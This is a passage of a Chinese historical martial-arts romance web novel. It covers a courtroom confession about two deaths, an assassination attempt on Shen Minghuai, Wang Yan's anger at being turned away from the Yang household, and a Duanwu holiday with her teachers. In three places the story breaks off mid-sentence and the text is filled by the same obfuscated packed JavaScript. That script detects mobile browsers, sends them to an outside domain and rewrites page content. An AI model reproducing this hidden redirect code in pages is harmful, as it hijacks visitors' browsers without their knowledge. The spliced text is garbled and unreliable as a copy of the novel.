王琰在一旁默默点了点头。又是一阵刺耳的笑声，忽又止住，紧接着一声叩响，梦殊仰面跪地，已泪流不止。 王琰轻叹一口气，“你可知何娘子本是要为你赎身的？” 梦殊不可置信道：“赎……身？” 沈明淮亦看着她头头是道地说起来。 “你应知何娘子有一长命锁，自她被囚府中，已是了然与你不会有结果，曾将这金锁交与她最亲近的婢女芷荷，再送到你手中，从此两清。” 梦殊紧攥衣襟，“你以为这样就两清了吗……” 沈明淮与狱卒低声说了两句，随后两名狱卒进来擒住梦殊，另一名狱卒在他身上翻出一件女子的肚兜。 “还给我！你们凭什么拿我的东西？！”梦殊嘶哑地叫着。 王琰侧目避开这般难堪景象。沈明淮却是纹丝不动，盯着梦殊问：“这是你从何处所得？” “我说了这本就是我的东西！我的！” 就在这时，贺帆身旁一个衙役来提人，道是芷荷自首了。待他们与梦殊走到公堂，案前已站了一列的人，杨介舟亦从提刑司赶过来，审讯还未开始，齐楚与陈半亩倒先吵了起来，晴芳在旁惶恐地东张西望，余下沉默的两人。 李长凌挤到王琰身边，“可有好戏看了。” 惊堂木如惊雷劈下，杨介舟发问：“芷荷何在？你前来自首，所犯何事？” 芷荷毫不犹豫地跪在地上，“我听信许氏教唆，蒙骗娘子喝下堕胎药，以致她流血身亡，我愧对娘子多年以来的信任……” 沉寂的梦殊一瞬扑向她，旋即被衙役拉开，“你这忘恩负义的白眼狼！” “我并不知许氏的药足以要了娘子的命……我无颜为自己辩解——” 芷荷还未说完，梦殊又跳起来，“你真不要脸！真不要脸！” 杨介舟怒斥：“公堂之上，何人放肆！你既说何郦待你不薄，为何要助许氏害她？” 芷荷含泪咬牙地看向陈半亩，“为了我爹。” “小草你可不要乱说，与我何干啊？”陈半亩又转向杨介舟，“大人——” 杨介舟无情打断他，“继续说。” “那日许氏找到我，说只要让娘子喝下这碗堕胎药，便替我爹还债，还可以让我脱离奴籍，离开何府。” 杨介舟又问：“还债？” 芷荷缓缓站起身，“我爹好赌成性，每日都去赌，有些赌注大得惊人，他根本输不起，隔三差五便来找我要钱——” “小草我方才就赢了，从前还用这些钱给你买过——”陈半亩为自己申辩道。 “不过就是我生辰那日送了一套衣裳！尺寸根本不合适，不是宽了就是长了，您真的把我这个女儿放在心上过吗？”芷荷继续说，“娘子死后，许氏让我离开扬州，我便到娘子生前购入的一处宅院中躲了起来。我爹还是找到了这里——” 杨介舟疑惑道：“何郦的宅子？” 芷荷既未点头，也未摇头，转身看着梦殊，冷声道：“是他的。” 梦殊不可置信地后退两步，又上前抓住芷荷的手腕，“是你的信！那夜让我回象姑馆的人，是你！” 王琰偷偷瞧了沈明淮一眼，显然一副意料之内的样子。上官语不知何时来了。 杨介舟又道：“信呢？让本官瞧瞧。” “烧了……但就是她，让我那夜回象姑馆取一样东西……所以老十看见我从房中出来……是你要陷害我！” 齐楚被陈半亩一瞥，吓出半身冷汗。 上官语冷哼一声，“金锁与宅院钥匙，本来亦是要给梦殊的罢？” 芷荷勾唇笑道：“不错。可他不配。” 齐楚撸起袖子，“好啊你个婆娘，骗我这宅子是你的，地契根本不在你手上！” 芷荷未反驳他的指控，只与杨介舟道：“大人，杀害许氏的凶手，便是他。” 她的手指向旁边的齐楚。陈半亩亦站到女儿旁侧，与之附和道：“是他！那夜我亲眼瞧见他从象姑馆出来！” 杨介舟严肃问道：“上午你又为何说不是？” 陈半亩跪倒在地，“请大人明察！齐楚威胁我，说如果我把此事捅出去，就要杀人灭口，我不敢不答应啊大人！” 齐楚神志渐失，向芷荷扑去，“明明是你要我杀的人！说什么她威胁你，要将杀害何郦的罪名扣到你头上——” 芷荷不忍地看着他，“齐楚，我是与你说过许氏的罪行，也说过她逼迫于我，但我真没让你去杀人啊……你竟为了我做到这等地步……” “你胡说！明明就是你指使……” 李长凌附在王琰耳边道：“芷荷娘子被唬得不轻。我方才去漆器店见他与一小娘子卿卿我我的，真是当面一套、背后一套。” 场面一度失控，公堂上似有十张嘴在同时说话。就在这时，上官语竟稀奇地来问她：“一起走走吗？” 王琰与上官语走进另一个闹市中，浑身浴在余晖里，将落日抛在身后。上官语将她与何郦初识到何郦邀她到象姑馆听曲，再后来入何府探望被幽禁的何郦，此般种种娓娓道来。 上官语似乎从未与旁人谈过这个“郦姐姐”，一说起来便有好多话。这段情谊埋在心底许久，当下需要一个泄口，只是身旁站着的恰好是王琰。 “你若是芷荷，你会怎么做？” 王琰笑道：“我不会是她。” 上官语哂然一笑，“也对。若我是她，当是会做出一样的选择。” 王琰诧异她突如其来的坦诚，“人会选择保全自己，本就是情理之中。” 上官语认同地点点头，“马上就到吃槐淘的日子了，谁又舍得死呢？” 王琰瞧着路边忙活的饮子铺，“有些人可能吃不到了。” 上官语止住步子看向她，“芷荷会死？” 王琰看着远处愈发清晰的两道身影，喃喃道：“也许罢。” “为何——” “阿潆！” 上官语见是沈明淮与李长凌二人，急忙问道：“此案可结了？” 见上官语对此案如此上心，沈明淮倒不意外，“未曾，宪使只暂且将人押入大牢，择日再审。” 上官语 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16276299|182433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不解，“还要审？” 沈明淮只抛下四个字，“口说无凭。” 李长凌揽过王琰，“横竖就这两日，必会结案。忙活一天了，吃饭去！” 上官语谢绝王琰的好意，沈明淮则随王琰二人回临江仙蹭了一顿，正要坐一辆马车回府，李长凌忽因事中途下车，车内顷刻再归寂静。一股淡淡的香味缠绕在王琰周围，扰得她心绪不宁。 “你想学点茶一事，可还——” 安分坐在一旁的王琰顷刻扑来，一支羽箭破风而来，直直插入车壁，只差分毫。沈明淮瞳孔紧缩，箭镞却在眼中不断放大。 “公子有刺客！” 一声未落，数支羽箭再次射进马车内。王琰一手拉起走神的沈明淮，一手抽出腰间软剑，“看什么呢！还不快走！” “王娘子先带公子离开，我断后！”应冥拦住飞身而下的三名黑衣人，已无暇顾及马车周遭的情况。 “你轻功如何？” 就在沈明淮犹疑之际，王琰已攥着他飞快往另一条巷子跑。放完箭的弓弩手紧追不舍，所幸王琰对万春园方圆十里之内的地方还算熟悉，未过多久就甩掉了那三条尾巴。 “你师父……可是傅吉徵，怎么……就学了这三脚猫的功夫？”王琰喘着气，软剑支在地上。 沈明淮很快平复了气息，“资质不够，自保足矣。” “你这是能自保的样子吗？”王琰刚直起身，一道剑光毫无预兆地刺来，软剑方抬到半空，沈明淮却护住王琰向旁闪去，在手臂擦过一道鲜红的口子。 “沈明淮！”王琰急蹙额直喊。 黑衣人齐刷刷挡在巷子口，华信领着一支厢军出现在另一侧，四名刺客旋即逃走。眼看应冥与华信扶起血浸衣袍的沈明淮，王琰只能被闻声赶来的李长凌接走。 翌日一早，方入辰时，王琰已出现在客栈门口。华信道昨夜连夜寻了大夫，伤势已无大碍，但需好些静养一段时日。昨日寅正方才睡下，燃了安眠香，恐怕还有好些时辰才会转醒。应冥吃过早饭回来换华信去，只与王琰行了一礼，再无言语。 上次来他就说住不惯，现下还受了伤，怎能好好歇息呢……此话，王琰只好托应冥转达。 午后，李长凌疾风般飞到面前，直道许氏一案已结。有一卖蒸饼的老翁，每日亥时必会推车经过梦殊家，说是那晚看见一位娘子鬼鬼祟祟地进了梦殊家的门，当堂便指认了芷荷。又从聚水阁寻到了许氏的那枚玉佩，确为齐楚所当。因而两人双双下狱。 “怕是死罪难逃了。”李长凌叹息，说了一通，才发现王琰心不在焉的，就差把“忧虑”二字写在脸上了。 “沈明淮伤势如何？” 王琰没精打采地答道：“华信说已无大碍。我没见着他。” 李长凌知这些高门子弟养尊处优惯了，沈明淮定是从未受过如此严重的伤，心下无法，也只得安慰道：“既是他有心这样做，便不能怪你。你若实在担心，拿上些药材，再去瞧瞧就是了。” 王琰拿了好些珍贵药材登门的时候，却被告知，沈明淮已住入杨府。 28. 拒之门外 药材原封不动地拿回来，王琰发了好一阵脾气。 “一声不吭就搬去杨府，那我早上请他到咱府中养病的好心，就这般置之不理？！” “我二话不说跑到杨府，他还摆起什么贵公子架子来了，好个拒不见客！” “若非他拦着，我早将那贼人收拾了！” “阿潆，快来搭把手，今晚做你最喜欢的沙塘冰雪冷元子！”悠远的声音从庖厨传来。 李长凌这么一说，她才反应过来。近来，天气是愈来愈热了，颇有些要入夏的光景。王琰虽未消气，但那从冬日便念着的冷元子与槐淘，还是让她欣喜于这蓓蕾般的暑气。 王琰不死心地去了数次，回回被挡于府门之外。只第二回去见着华信，后面几回便是华信也见不着了。 她虽知住进杨府是为了防备刺客再次下手，但还是气愤沈明淮这般不讲情义。既芍药宴一事早已传回京城，现下再想撇清关系，只当她是什么招之即来、挥之即去的棋子吗。 又过了数日，王琰已将心思全放在临江仙上，每日沾着朝露出门，披星戴月方归。不料一日回府，上官语竟不请自来。 “端午快到了，近来临江仙定是忙坏了罢。” 王琰活络着脖颈坐下，“可不是。知妹妹来了，这不就赶紧回来，怕妹妹好等。” 上官语四处望了望，“怎不见李少侠？” “他近来早出晚归的，不知在忙活什么。”王琰斟了一杯女使方端来的茶递过去，“妹妹是来寻表兄的？” “这茶……”上官语奇道。 王琰挑眉道：“桃子煎茶，妹妹尝尝。” “确实不错。”上官语直表明此次来意，“多谢你们发现了端倪，还原郦姐姐逝世的真相。听闻你们在寻静心法师，我可将所见告知一二。” 王琰顷刻放下青玉瓷杯，“你知晓他的下落？” 上官语摇摇头，“郦姐姐的法事结束后三日，我去大明寺礼佛的路上，碰巧遇见天竺国的法师与静心法师坐在河边论法。” “有如此受教机会，我便在一旁聆听。他们交谈掺着天竺语，天竺语我虽算不得十分熟稔，但亦能理解七八分。他们谈及一项古老法器，名唤托巴，可永存修行之人的福德智慧，冲去一切污秽。” “托巴？”刚回府的李长凌恰巧听到这二字。 “李少侠。”上官语向来人行了个虚礼，继续说道，“天竺法师言，修行愈高，愈有成效。静心法师听罢，当即就要去寻。至于他具体去何处寻这法器，不得而知。” 李长凌与她二人解释道：“这法器我曾有耳闻。乃用修行大成之人的头骨，作成碗状，以此盛酒。” 王琰蹙眉道：“这听起来有些邪乎。” 上官语旋即驳道：“既是法器，其中必含佛门之道，我这个粗通佛法之人尚不敢说道一二，王娘子既不了解，又怎可作此评议？” 王琰一时没把握好分寸，在上官语这佛教信徒前失了语，只得放平陡眉，微微屈身侧目致歉。经此一语，氛围瞬变，上官语很快便离开了万春园。她二人迅速就此事展开讨论。 静心要寻修行大成之人的头骨，若非既有法器，高僧圆寂后多火化，头骨自是存不下来，保留全身舍利者，亦未闻何人头部有损，那便只有杀人夺骨一种可能。 李长凌旋即否定了王琰的这种猜测，高僧被杀势必惊动整个江湖，现下看来，只有第一种可能，以及杀人夺骨未遂。天竺佛教向来只会在上京及一些近海之地布教，如此观之，可能被静心寻上的高僧，便只余龙兴寺的普远与天童寺的宗庆。 李长凌知她定会将告知沈明淮的差事揽去，担心她又会因此心情低落，貌似不经意间提到，“曹家槐淘明日便开始售卖咯。” 王琰起了个大早，李长凌却忽在出门前拦下她，说是要写封信给沈明淮，让她一起带去。这一耽搁，到曹家食铺的时候，前边已排了不少人。虽是每人限买两份，但看着一份又一份的槐淘从她眼前溜走，王琰还是不可避免地心急。 所幸，还是买到了。 再次来到杨府门前，她请司阍告知沈明淮，此番前来确有急事。司阍只往内院瞧了一眼，再次谢绝了她的拜访。 宪使府真是好大的威风！这回连装都不装了。王琰气恼不过，悄悄绕到后院，翻进墙去。寻了片刻，蹲在不知何人的屋顶上，看见了在廊下吹笛的沈明淮。闻乐吃槐淘，倒是稀奇事。只是这扬州慢吹得不甚熟悉，想是新学不久。 曲终食毕，王琰正想跃下与他说道说道，才发现他身旁还站着一人。 婢女端来两碗槐淘，杨绮婴请沈明淮在石桌前坐下，“天渐渐热了，公子歇息一会儿罢。” “多谢。” 沈明淮端起青瓷碗，又听杨绮婴道：“这是扬州城内卖得最好的冷淘，夏初每日仅售百份，公子尝尝。” “冷淘，可是槐淘？” “正是。公子从前可是吃过？”杨绮婴见他丝毫未动便放下了碗，“不合公子胃口么？” “沈某一碰槐叶便会起瘾疹，怕是要辜负——” 一封突如其来的天外飞书可将杨绮婴吓了一跳，以为府中又进刺客了。沈明淮虽是迅速反应过来稳稳接住，但他快步走到院中时，那刺客的痕迹只剩一角衣袍。 杨绮婴慌得忙喊：“快来人！有刺客！” 沈明淮回首瞧见石椅边上两份吃过的槐淘，匆匆打开那封信，旋即了然。 “杨娘子，不是刺客。” 杨绮婴这会儿方定下心神，向沈明淮走去，“何人写与公子，送信让司阍代为转交就是，也不至于现下这般无礼。” 沈明淮把信收好，莞尔赔罪：“我这朋友不受拘束惯了，我代她向娘子道不是。” 杨景哲与护卫急急赶来，“什么刺客？！刺客在何处！” 杨绮婴拉住提剑往外冲的杨景哲，“没刺客。是沈公子的朋友，误会一场。” 杨景哲大舒一口气，将剑收好，“真惊得我冷汗直冒。明淮兄，你什么朋友功夫如此了得啊？” 沈明淮笑道：“江湖结交的一位朋友。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16276300|182433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 杨景哲颇为惊讶，“明淮兄还在江湖结交了这般厉害的朋友，改日也让我认识认识呗。” 杨绮婴盯着石椅边上道：“何时多了两份槐淘，还是吃过的？” 沈明淮循着视线望过去，“许是护卫来得匆忙，无意间带了过来。” 杨景哲咂着嘴回味，“天一热，人人又都吃起槐淘来了。明淮兄怎不吃，不喜欢么？” 杨绮婴往院外走，向迎面而来的华信二人微微颔首，“沈公子槐叶过敏，今日的功课可温习了？” 杨景哲一下就走到杨绮婴前头，没了影儿。 沈明淮将槐淘推出，“你们——” 应冥禀道：“益王的最后一条尾巴也已处理干净。” 沈明淮疑道：“最后一条？” 华信立马坐下将碗挪到身前，“我尝尝。” 应冥又细数一遍，“是啊。一共六名刺客，一个没剩。” “那我这伤是何……”沈明淮恍然惊觉，刺伤他的人与那路刺客并非一伙的，又或许他的目标是王琰。 “有两拨刺客？！还是冲王娘子来的？”华信不可置信地掷下汤匙。 应冥瞥了一眼空碗，“几天没吃饭了？” “真的好吃！明儿再去买来尝尝。”华信笑得心满意足。 沈明淮回想那日的情形，“我虽未与他交手，但能感觉到他身手不凡，应冥不敌，华信或可打个平手。” 应冥愕然，华信亦惊道：“既如此，王娘子定是打不过啊。不过到底是何人要对她出手，李少侠的仇家？” 他们不约而同地想到四个字：止水心经。沈明淮嘱咐华信立即到万春园一趟，将此事告知李长凌。 “最近画坊可还安分？” 应冥回道：“倒是没什么人再去买平常书画了，不过听说近日杨大公子以三千五百贯购入了一幅妙手丹青的画作。” “三千五百贯？”沈明淮忽地抬头，“监官何人？” 应冥旋道：“属下这便去查。” 沈明淮唤住他，“再查查第一个卖这幅画的人。” 华信不解道：“公子是怀疑这三千五百贯来路不正？” “正与不正，待会儿一看便知。”沈明淮一动不动地盯着华信。 “属下这便去万春园。”华信方走出一步，旋又被沈明淮喊住。 “等等，我与你一道。” 谁料万春园中无人，孙宅老道王琰方去了临江仙，李长凌早便出门了。二人留下一封手书，转而又去临江仙，仍旧寻人无果，最后进了一间悬挂“天工牌”与“石色文凭”的颜色铺子，挑挑拣拣下来，却也没买多少。 踏出铺门，外头的喧嚣顷刻入耳，失控的牛车惊跑两旁过路人，直冲立在原地的王琰而来。 刹那间，一白衣男子将王琰扯开，跃身而起，一剑刺入牛颈，那牛瞬间呜呼丧命。 沈明淮不顾华信阻拦，快步走向王琰，“你没事罢？” 王琰心下稍定，哼了一声扭头便走，“怎敢劳沈公子费心。” 29. 莫吃情苦 沈明淮用力拉住她，“上次那刺客是为心经而来，你近日要留心些，最好不要独自出门。” 忆及那日他替自己挡了一剑，积攒数日的情绪正一点点渗漏，但又想起此前她去杨府所见，气不打一处来。 王琰转身便问：“沈公子现下是以什么身份关心我？是定国公府的郎君，还是云岩山上的沈郎？” 沈明淮愣住的片刻，王琰已迈步离去。身后之人竟毫无跟来的迹象，她渐渐放慢步子，终于忍不住回头，往来人群中，没有一个人为她而来。一小乞丐忽地撞向她，自己却跌在地上。现下倒有了。 “公子！” 华信将沈明淮搀扶到一旁，沈明淮颤着从瓶中取出一粒药吃下，方才平复。 “公子还是去找大夫瞧瞧。” 华信正要带他往医馆走，沈明淮仍望着王琰离去的方向。 “王娘子早没影儿了。公子不必担心，刺客定不会在白日出手。” 那边车夫还在向白衣男子索赔，道他杀了牛，就是毁了他的命根子，往后日子不好过了。白衣男子丝毫不与他争执，抛出一锭银子就持剑离去，只路过沈明淮时停顿了一瞬。 沈明淮压低声音与华信道：“近日盯紧他。” 晃眼又过数日，初夏的最后一丝凉意随之消散。杨绮婴照常到沈明淮住处教他吹笛，现下他的扬州慢已吹得熟稔无比。数日前买来的颜色，还有一柄素面朝天的团扇，一动不动地摆放在那边的几案上。 杨绮婴犹豫许久，还是问出了口：“公子还会作画？” 沈明淮随之看过去，“学了些皮毛罢了。” “不知公子师从何人？”杨绮婴虽未见过他作画，但凭他的鉴赏之道，其师定是一名高士。 “衡山居士。” 杨绮婴有些意外，却仍旧点头，“原是位不慕名利的南山高人。” 端午将近，杨绮婴又邀他一齐包粽子，沈明淮却托言华信惦记临江仙的琼花露，婉言谢绝。杨绮婴当下了然，未再久留。 未过多久，华信与应冥前后脚踏入院内，争抢着给沈明淮看从街上买的桃枝、柳枝、蒲叶一类，华信还带回了一些香糖果子。 “往年公子都亲自做粽子，今年——” 沈明淮弹回华信期待的目光，“明日到临江仙吃。” 华信乐得直抓住应冥的肩晃，“琼花露！”尔后又神秘兮兮说道：“公子猜猜那车夫今日做了何事？” 应冥没耐烦地催他赶快说，华信这才拿出一封信，说是飞鸽传书被他给打下来了。 沈明淮将信拆开，脸色渐沉。车夫将他与王琰的嫌隙添油加醋写在信中，道他们表面关系不错，实则暗地里连朋友都算不上。 应冥看罢一惊，“竟是卫王的人！” 华信舒了一口气，“好在我将信截了，不知这信要真传回京城，公子与王娘子的交易还做不做得成。” 交易……沈明淮许久不说话，只盯着那柄团扇看。 “公子，明日可就是端午了，再不画可就真来不及了。” 应冥不解地看看沈明淮，又看看华信。忽地沉寂，只余日光透过琉璃瓶，若见泛池波光。 五月初五，迢迢丽日。沈明淮主仆三人直奔临江仙，方踏入店门，麦子便迎了上来。 “沈公子，这边请！今儿无论点什么酒菜，小店皆奉上香糯粽子一份，公子看吃些什么？” “便按你说的罢。”沈明淮四下望了望。 麦子旋会意道：“公子可是找二东家？她现下不在临江仙。” 这小跑堂，恰到好处的笑容，仿佛用尺量过似的，身后还跟着一个与他一般大的孩子。沈明淮眸光顿暗，“可知你们二东家何处去了？” 麦子回道：“小的也不知，只说会出去几日。不过二东家特意嘱咐小的要好生招待公子。” 见沈明淮眉头稍展，麦子这才与小麻子一齐往向庖厨去。 小麻子小声道：“自我来此后便未见过二东家，她何时吩咐你的？” 麦子嘘了他一声，“我现在便教你一招——察言观色。这位公子与咱二东家关系匪浅，那日你看见他们在一处便应晓得。替二东家好生招待友人，是我们的本分。” 那样也算关系很好吗？小麻子不由心生疑惑，但还是好好听麦子的话罢。那日牛车，可真够惊险的。 李长凌将她护在一侧，待牧牛人走过，“你这几日怎么了？心不在焉的。” 王琰随手扯下一株野草，缠上他的一扯，旋即断作两半。 “还是没见到人？”李长凌将手中的谷莠子递与她，又在旁边草丛扯下一株，绕上一拽，两株谷莠子缠在一处，难分胜负。 “早告诉过你，莫吃情的苦。” 王琰睨他一眼，“这算什么情。” 李长凌冥思苦想，“难不成你们是在谈利益？” 王琰一直对芍药宴一事心怀芥蒂，“不是么？经芍药宴一搅，有多少人会认定父亲已入卫王麾下，他分明是在利用我。” 李长凌亦认同道：“拉拢你爹的方法，太不高明了些。不过，这怕不只是他一人的利用罢？” 王琰下意识想反驳，却又支支吾吾道：“我……那是不得已而为，况且现下已不算利用。他呢？他是怎么看我的？招之即来，挥之即去。笄礼那日，他本不想来的罢？或许从那时起，他都只是想替卫王笼络父亲而已。”话尽，环佩已握在手中。 李长凌严辞训道：“开始说胡话了。你师兄我也算是阅人如阅川，看得出来，他对你并非没有半点真心。” “那点可怜的真心，除了师兄你以外，旁人都有罢。”王琰仍旧不明白李长凌对沈明淮的敌意从何而来，正要开口询问，又被李长凌转移话题。 “你师兄我有这么差劲么？”李长凌知她现下听不进去，其间的甘苦，还须自己经历一遭，他说再多也是无益。“不若你与我一道去明州？” 王琰亦不同意，“现下他不可信，得有人跟着。” 李长凌无奈地摇摇头，捡起一块石片，“好好好，都听你的。许久不玩了，来比比？” 王 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16276301|182433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 琰细细在河边挑选出一块扁平石头，用力一挥，河面连跳出十余个涟漪，很是得意。 李长凌的石片跃了不足十次便沉入水中，服输道：“青出于蓝胜于蓝啊。” 王琰记起第一次打水漂的场景，亦是她与李长凌初次见面。大约十五六岁的少年在河边频频捡起石头往水里扔，挂满泪痕的小娘子被吸引过去，学着他的样子，却一个涟漪也击不起来。 少年又抛出五个水漪，朗声问她：“想学吗？” 小娘子乖巧地点点头，少年走到她身边，挑了一块石片与她，“瞧好了。” 少年比划比划，将石片掷出，这次飘了很远，数不清有多少个涟漪。小娘子试了数回，终于成功使小石子跳了一次，朝李长凌咧开一个笑。 李长凌对这个素未谋面的小娘子感到莫名亲切，替她用清水抹了脸，问道：“你来此处做甚，你家人呢？” 小娘子回道：“我来拜师，但并非自愿，便故意与他们走散了。” 李长凌又问：“那你怎哭得这样厉害？” “我找不到回去的路。”小娘子一脸委屈，说着又要落泪。 “我带你出去，你要去哪儿？”李长凌刚要牵起她的手，呼喊声从不远处响起。 “阿潆！” “阿潆！” 小娘子又笑起来，“阿娘与阿兄来寻我了，哥哥再见。” 李长凌怎么也没想到，偶然遇见的爱哭鬼，竟是他的小师妹，就这样在他身后跟了六年。 “师父，师娘！”王琰先一步迈进云溪居。 一梳着髻的清冷妇人正准备将晾晒的草药收好，“阿潆回来了。” “你们可查到什么了？”留着长胡须的长者背着手走出来。 李长凌这才悠悠出现在云溪居门前，将近来城内发生的事细细说了一遍。“过几日我们便动身。” “分开走？”嬴君棠先把了把李长凌的脉，随后又搭在王琰腕上，“你二人可有将自己的身体当回事？” 李长凌搪塞道：“若再闭关好几个月，怕是会走火入魔。还是出去转转更好。” 王琰自认对养伤一事从不含糊。每日按时吃饭，只不过有时被事耽搁掉一顿；每日按时睡觉，只不过有时忘了时辰睡少一些…… “大病难除，恢复起来就是比较慢嘛。” 嬴君棠提醒她，“但你这病，不只是内伤。” 还是心病。那只雪狐。王琰敛起眼底的一抹悲色，挽上嬴君棠的手，“师娘不必担心，有人与我同行。” 风槐生扬声道：“是那叫沈明淮的臭小子？” “还有他的两个侍卫。”王琰淡淡补充一句，旋即瞟了李长凌一眼。 李长凌装聋作哑地喝着茶，“随口提了两句。” 嬴君棠转身去收余下的草药，一面叮嘱，“流火还要继续练，晓得么？” 王琰拍胸脯保证，“每日都练，不敢耽误。” 风槐生还揪着沈明淮不放，“那小子资质平平，但眼光不错。” 眼光不错？ 30. 只做朋友 王琰幽幽看向李长凌，“你又胡说什么了。” 李长凌瞪大眼睛，瞅瞅她，又瞅瞅风槐生，“不是，我说什么了我？” 风槐生抿唇忍笑，又正色道：“好在你们还有人数优势，四对一的话，总有胜算罢？” 王琰眨眨眼，毫不谦虚，“师父可以看不起他，不能瞧不起我，否则就是看低您自个儿了。” 风槐生叉着腰长“唏”一声，“小鬼头，打输了别说是我徒弟。” “师父与阿娘有约在先，可不能翻脸不认人。”王琰走到嬴君棠身边，“师娘，您看师父，又嫌弃我。” “你们须万分小心，暗处的敌人不一定比明面的少。”嬴君棠总觉心有不安，此事愈往后发展，变数愈多。 风槐生亦不放心，现下也只能让夫人再多配些药，给他二人备着。嬴君棠自收到李长凌上京的来信起，便一直在准备，这段时日已不知进山多少回。 眼下快过节了，虽许久未见，但不日又要下山，王琰便缠着要与他二老过端午。 嬴君棠笑她，“是想念杨梅粽想念得紧罢？” 王琰垂头叹道：“去岁连吃两个月药膳，阿潆的舌头都要尝不出味道了。” 嬴君棠对她二人的了解，可一点都不比生身父母少。收起药材，旋即招呼他们吃饭。 王琰搀着嬴君棠进屋，“好久没吃师娘做的菜了！” “我在山下可没少做给你吃，”李长凌颇为自己不平，“我的厨艺难道没学到师娘半分？” 王琰笑嘻嘻道：“师兄做的也好吃，只不过师娘比你多做二十年的菜，不可同日而语。” 一早，身穿沧浪衫裙的少女已忙活起来。李长凌活络肩肘走出房门，懒散地往柱子上一靠，半敞着长衫，告知她过午下山。 王琰埋头扎着艾人，“这般着急？” “今儿端午。” 王琰装傻道：“我晓得。” 李长凌见她是要糊涂装到底了，“你作为临江仙二东家，忍心让大伙冷冷清清地过节么？” “这样啊。”王琰略作思索，顺着他的台阶下，“阿兄不在，是得代他表示表示。” 说罢，李长凌正要去庖厨帮忙，王琰拍拍裙摆走上前，在他臂间系上百索。 “长命百岁啊。” 李长凌笑道：“又不是小孩儿了。” 自到云溪山习武起，王琰每回端午都要给李长凌编根百索，从前只是图些过节兴味，去岁开始，她是真心希望她这个师兄能长命百岁。 李长凌向她招招手，转身进到房中，拿出艾花替她簪在发辫上。 “嗳，师兄何时做的？”王琰微微侧头道。 “昨日。”李长凌满意地瞧着，“你师兄我的手艺真是愈发精湛了。” 王琰附和道：“恭喜师兄日后的生计又多了一份保障。”无意间瞥见台上的一把扇子，实在眼熟。 “这......与祝尧那把折扇一模一样！师兄你何时也爱收藏这些了？”王琰拿起来瞧了瞧，“赝品？真的你怎买得起。” “瞧不起谁！”李长凌拨拨额前碎发，骄傲之气难掩，“金子都没这真，赵吉存《落霞孤鹜齐飞图》唯一真迹，便在我这。” “嗬！”王琰惊叹一声，复又疑道，“可我瞧这私印似是什么山居士，赵吉存不是自号逸翁么？” 李长凌给她解惑道：“那是他声名鹊起之前用的，鲜有人知。” 王琰还是不大相信，“他看上你什么了？竟将这样价值连城的画作送你。” 李长凌轻描淡写一笔带过，“没什么，救了他一命而已。” 王琰将扇子放好，“师兄救人不是从不图回报么？终于体会到有恩于人的好了罢。” 李长凌忙解释道：“我可是推辞了数十回，他硬要赠予我，说不是什么值钱东西，那时怎知如今这幅画竟是千金难换。” 王琰满眼羡慕，“这便是无相布施的福报么？想来我是无福遇到了。” “又不是从未做过。现下我不是好好的么？”李长凌劝她，“阿潆，你对旁人该少些戒备才是。”其实王琰的脾性，李长凌再清楚不过。她未想明白，他怎么劝也无用。 “现下你平安无恙，便可当姜绾从未给你下过毒，与她和好如初么？”每每提及此事，王琰总会化身刺猬，将利刺尽数露出。 李长凌忽然正色，纠正她，“毒不是她下的，但我们亦不会再回到从前。” 王琰自知话重了，放轻声音道：“你对任何人都如此赤忱，毫无防备，才接二连三被他们背叛。若我亦如此，只怕往后全尸都保不住。” “你近来可不是这样。两年来，无人能动摇你半分，”李长凌一语中的，“那小子如今便让你伤心了。” 王琰没好气道：“我识人不善。” 李长凌接着她的话道：“嗯，趁着还未变成遇人不淑，赶紧与他断了。” 王琰又将卫王搬出来，“现下还不是时候。” “现在你们八竿子打不着，还不是什么时候。”李长凌在木箱上坐下，拍拍旁边的椅子，“和师兄说说，你到底是怎么想的。” 王琰慢吞吞挪过去，“他终是在那种环境长大的，善窥人心，不知会在何时戴上假面，什么才是真的，我看不清。师兄你是不是不希望我与他有静心一事外的交情？” “你的事，须你自己决定。”话虽如此，但李长凌的私心确是不希望二人再发展下去。他向来喜欢将事情当面说开，便亦劝她，“去找他当面说清楚。有意也好，无意也罢，总归比这么怄着好。” 王琰起身向外走，支支吾吾道：“再说罢。” 庖厨内，李长凌拿起新鲜箬叶，将与艾叶浸泡过的糯米放入，再加栗、枣、柿干、赤豆，裹紧蒸熟。 “师父、师娘，我与阿潆用过午膳便下山去。” “早些启程也好，记得将药拿上。”嬴君棠再三叮嘱，身体是第一位的。 王琰扎好艾人方走进来，“可不要忘了阿潆最喜欢的杨梅粽。” 李长凌将竹叶递与她，“自己动手。” 王琰撇嘴接过叶子，“这回我本就是打算自己做的。” 风槐生旋嘴角下扬，揶揄道：“可别又一个粽里放五颗杨梅了。 